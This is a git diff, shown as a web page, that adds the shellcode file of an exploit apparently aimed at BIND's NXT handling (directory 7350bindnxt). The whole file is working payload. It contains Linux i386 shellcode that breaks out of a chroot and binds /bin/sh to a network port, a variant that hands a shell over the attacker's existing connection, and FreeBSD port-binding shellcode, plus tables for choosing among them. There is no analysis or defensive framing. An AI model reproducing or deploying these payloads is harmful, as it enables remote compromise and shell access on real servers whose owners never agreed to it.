diff options
Diffstat (limited to 'exploits/7350bindnxt/code.c')
| -rw-r--r-- | exploits/7350bindnxt/code.c | 86 |
1 files changed, 86 insertions, 0 deletions
diff --git a/exploits/7350bindnxt/code.c b/exploits/7350bindnxt/code.c new file mode 100644 index 0000000..1ce8ceb --- /dev/null +++ b/exploits/7350bindnxt/code.c | |||
| @@ -0,0 +1,86 @@ | |||
| 1 | /**/ | ||
| 2 | |||
| 3 | #include <stdio.h> | ||
| 4 | #include "code.h" | ||
| 5 | |||
| 6 | char linportshell[]= | ||
| 7 | /*chroot code - u can comment it out without making a difference*/ | ||
| 8 | "\x31\xc0\x31\xdb\x31\xc9\xb0\x0c\xeb\x3b\x5f\x8d\x57" | ||
| 9 | "\x03\x8d\x5f\x02\x80\x2a\x02\x4a\x39\xfa\x7d\xf8\x89" | ||
| 10 | "\xc8\xb0\x27\xcd\x80\x89\xc8\xb0\x3d\xcd\x80\x31\xd2" | ||
| 11 | "\xb2\x0c\x88\x0b\x89\xfb\xb1\x10\x89\xd0\xcd\x80\xfe" | ||
| 12 | "\xc9\x80\xf9\x01\x7d\xf5\x88\x4b\x01\x89\xc8\xb0\x3d" | ||
| 13 | "\xcd\x80\xeb\x09\xe8\xc0\xff\xff\xff\x30\x30\x51\x02" | ||
| 14 | |||
| 15 | "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x74\x5f\x89\x4f\x10\xfe" | ||
| 16 | "\xc1\x89\x4f\x0c\xfe\xc1\x89\x4f\x08\x8d\x4f\x08\xfe\xc3\xb0" | ||
| 17 | "\x66\xcd\x80\xfe\xc3\xc6\x47\x10\x10\x66\x89\x5f\x14\x88\x47" | ||
| 18 | "\x08\xb0\x45\x66\x89\x47\x16\x89\x57\x18\x8d\x4f\x14\x89\x4f" | ||
| 19 | "\x0c\x8d\x4f\x08\xb0\x66\xcd\x80\x89\x5f\x0c\xfe\xc3\xfe\xc3" | ||
| 20 | "\xb0\x66\xcd\x80\x89\x57\x0c\x89\x57\x10\xfe\xc3\xb0\x66\xcd" | ||
| 21 | "\x80\x31\xc9\x88\xc3\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80" | ||
| 22 | "\xfe\xc1\xb0\x3f\xcd\x80\x88\x57\x07\x89\x7f\x0c\x89\xfb\x8d" | ||
| 23 | "\x4f\x0c\xb0\x0b\xcd\x80\xe8\x87\xff\xff\xff/bin/sh"; | ||
| 24 | |||
| 25 | char linpeername[]= | ||
| 26 | /* same chroot code */ | ||
| 27 | "\x31\xc0\x31\xdb\x31\xc9\xb0\x0c\xeb\x3b\x5f\x8d\x57" | ||
| 28 | "\x03\x8d\x5f\x02\x80\x2a\x02\x4a\x39\xfa\x7d\xf8\x89" | ||
| 29 | "\xc8\xb0\x27\xcd\x80\x89\xc8\xb0\x3d\xcd\x80\x31\xd2" | ||
| 30 | "\xb2\x0c\x88\x0b\x89\xfb\xb1\x10\x89\xd0\xcd\x80\xfe" | ||
| 31 | "\xc9\x80\xf9\x01\x7d\xf5\x88\x4b\x01\x89\xc8\xb0\x3d" | ||
| 32 | "\xcd\x80\xeb\x09\xe8\xc0\xff\xff\xff\x30\x30\x51\x02" | ||
| 33 | |||
| 34 | "\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f" | ||
| 35 | "\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08" | ||
| 36 | "\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10" | ||
| 37 | "\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c" | ||
| 38 | "\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe" | ||
| 39 | "\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80" | ||
| 40 | "\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2" | ||
| 41 | "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0" | ||
| 42 | "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff" | ||
| 43 | "\xff\x2f\x62\x69\x6e\x2f\x73\x68"; | ||
| 44 | |||
| 45 | /* only tested on freebsd */ | ||
| 46 | char bsdportshell[]= | ||
| 47 | "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x61\xeb\x7e\x5f\xc6\x47\x08" | ||
| 48 | "\x9a\x89\x47\x09\x89\x47\x0d\xc6\x47\x0d\x07\xc6\x47\x0f\xc3\x50" | ||
| 49 | "\x53\x6a\x01\x6a\x02\x8d\x4f\x08\xff\xd1\x89\x47\x24\xb0\x68\x50" | ||
| 50 | "\x6a\x10\xb3\x02\x66\x89\x5f\x10\xb3\x45\x66\x89\x5f\x12\x89\x57" | ||
| 51 | "\x14\x8d\x5f\x10\x53\xff\x77\x24\xff\xd1\xb0\x6a\x50\x6a\x02\xff" | ||
| 52 | "\x77\x24\xff\xd1\xb0\x1e\x50\x52\x52\xff\x77\x24\xff\xd1\x89\xc3" | ||
| 53 | "\xb0\x5a\x50\x52\x53\xff\xd1\xb0\x5a\x50\x42\x52\x53\xff\xd1\xb0" | ||
| 54 | "\x5a\x50\x42\x52\x53\xff\xd1\xb0\x3b\x31\xdb\x50\x88\x5f\x07\x53" | ||
| 55 | "\x89\x7f\x10\x8d\x5f\x10\x53\x57\xff\xd1\xe8\x7d\xff\xff\xff/bin/sh"; | ||
| 56 | |||
| 57 | |||
| 58 | c0de linux_i386[ARCH_MAX]= | ||
| 59 | { | ||
| 60 | {linportshell, sizeof (linportshell)}, | ||
| 61 | {linpeername, sizeof (linpeername)}, | ||
| 62 | }; | ||
| 63 | |||
| 64 | c0de bsd_i386[ARCH_MAX]= | ||
| 65 | { | ||
| 66 | {bsdportshell, sizeof (bsdportshell)}, | ||
| 67 | {NULL, 0} | ||
| 68 | }; | ||
| 69 | |||
| 70 | c0de *archs[]= | ||
| 71 | { | ||
| 72 | linux_i386, | ||
| 73 | bsd_i386 | ||
| 74 | }; | ||
| 75 | |||
| 76 | char *archs_str[]= | ||
| 77 | { | ||
| 78 | "linux i386", | ||
| 79 | "bsd i386" | ||
| 80 | }; | ||
| 81 | |||
| 82 | char *code_str[]= | ||
| 83 | { | ||
| 84 | "portshell code", | ||
| 85 | "peername code" | ||
| 86 | }; | ||
